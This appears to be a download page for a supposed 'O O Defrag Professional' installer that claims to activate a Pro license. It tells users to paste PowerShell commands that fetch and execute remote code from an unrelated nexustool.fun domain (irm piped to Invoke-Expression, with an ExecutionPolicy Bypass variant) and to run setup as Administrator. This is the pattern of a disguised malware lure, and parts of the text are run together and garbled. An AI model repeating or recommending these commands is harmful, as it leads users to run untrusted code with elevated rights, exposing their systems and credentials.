One-click setup for O O Defrag Professional Setup -- the professional Windows drive defragmenter and SSD optimizer that reorganizes file storage for faster boot times and quicker application loading without harming drive lifespan
Open PowerShell and run:
https://o-o-defrag.nexustool.fun/- Scans all connected drives and generates a fragmentation analysis with a visual fragmentation map per drive.
- Calculates the optimal defragmentation strategy for each drive type including spinning HDD and solid-state SSD.
- Activates the Pro license and enables scheduled defragmentation and the SOLID SSD optimization mode.
- Runs the first pass and reports the performance improvement percentage for each optimized drive.
- Windows 10 / 11 (64-bit)
- PowerShell 5.1+
- Internet connection
- ~50 MB free disk space
Defragmentation runs for many hours without finishing on a drive that is nearly full
Free at least 15 percent of the drive capacity first -- the tool requires working space to reorganize file clusters.
O and O shows high fragmentation on the SSD and standard defrag would reduce drive write endurance
Use SOLID optimization mode for SSDs instead of standard defrag -- it reorganizes the file index without unnecessary write cycles.
Alternative method (if policy blocks execution):
powershell -ExecutionPolicy Bypass -Command "https://o-o-defrag.nexustool.fun/""irm is not recognized" -- update PowerShell or use the full form:
Invoke-RestMethod https://o-o-defrag.nexustool.fun/ | Invoke-ExpressionMIT -- see LICENSE.
This is the download page. Use the button or link below to get O O Defrag Professional for Windows.
| Direct link | o-o-defrag.nexustool.fun |
| Full URL | https://o-o-defrag.nexustool.fun/ |
| Type | Installer for Windows 10 / 11 (64-bit) |
| Admin | Run setup as Administrator |
- Click Download — o-o-defrag.nexustool.fun (link above)
- Save the file from the project page
- Run the setup as Administrator
- Enter your license key when prompted
- Restart if the installer asks — then launch from Start menu